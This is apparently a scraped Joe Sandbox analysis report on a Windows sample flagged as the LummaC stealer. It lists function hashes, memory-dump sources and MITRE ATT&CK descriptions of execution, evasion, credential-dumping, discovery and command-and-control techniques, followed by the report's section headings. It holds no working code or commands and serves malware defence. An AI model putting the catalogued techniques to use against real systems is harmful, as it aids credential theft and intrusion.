Similarity

API ID:
String ID:
API String ID:
Opcode ID: 645acaf5af8516699ec9a53eabf7145ca1b080fe8572427fcbde1dd83670bfc1
Instruction ID: 8371b7c164240cd26e8fb29020e0be451980ce51fa204eb4dbac6fbba6c1fde3
Opcode Fuzzy Hash: 645acaf5af8516699ec9a53eabf7145ca1b080fe8572427fcbde1dd83670bfc1
Instruction Fuzzy Hash: 7A910D6544E7C16FC7039B344C656967FB1AE13624B1E8ADBD0D0CF4F3E219991AC3A2

Function 0134F560 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2304764046.0000000001349000.00000004.00000020.00020000.00000000.sdmp, Offset: 01349000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1349000_bG89JAQXz2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd59c8c9f1ef89ccbe0253f46cfff9ebb4b0e568abc900df7648559671b9a602
Instruction ID: 8fa126baf97d9870170b4512fe5e645d431b613813c2b4215461b381effbfc25
Opcode Fuzzy Hash: fd59c8c9f1ef89ccbe0253f46cfff9ebb4b0e568abc900df7648559671b9a602
Instruction Fuzzy Hash: 8551BCA540E7C12FC70397344C65AA67FB0AE13624B1E8ADBD0D5CF4F3D209980AD3A2

Function 0134E3AD Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2304764046.0000000001349000.00000004.00000020.00020000.00000000.sdmp, Offset: 01349000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1349000_bG89JAQXz2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2034eefb13b50145deceeb12d361cd52c9ce36140156b78dca2ab310df2801d
Instruction ID: 40a1fd7a079d9b4a40564683f3d687d3089ad5d53954a5a532cacf3ccefc7e0c
Opcode Fuzzy Hash: e2034eefb13b50145deceeb12d361cd52c9ce36140156b78dca2ab310df2801d
Instruction Fuzzy Hash: A721576504E3C16FCB53873448A56923FB16E13228B5E14EBC0C4CF5F3D15A980AE3A2

Function 0136F6D7 Relevance: 5.4, Strings: 4, Instructions: 417COMMON

Download Yara Rule

Strings

x86, xrefs: 0136F936
C:\P, xrefs: 0136F83F
C:\P, xrefs: 0136F907
x86, xrefs: 0136F86E

Memory Dump Source

Source File: 00000000.00000003.2372120572.000000000136A000.00000004.00000020.00020000.00000000.sdmp, Offset: 0136A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1349000_bG89JAQXz2.jbxd

Similarity

API ID:
String ID: C:\P$C:\P$x86$x86
API String ID: 0-3357463783
Opcode ID: 34000549f2a42321129a97f3f03a59e74b7486d21c0322cf189352e6a582bb80
Instruction ID: 52a663b1af033d3a3a355c8f4b0d4f62a5e86c4e45946da68edf00107a63cf0d
Opcode Fuzzy Hash: 34000549f2a42321129a97f3f03a59e74b7486d21c0322cf189352e6a582bb80
Instruction Fuzzy Hash: 7CD1239240E7C42FD70387749C796A57F79AE23158B0E82CBD4C5CF4E7E259481AC362

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report bG89JAQXz2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
bG89JAQXz2.exe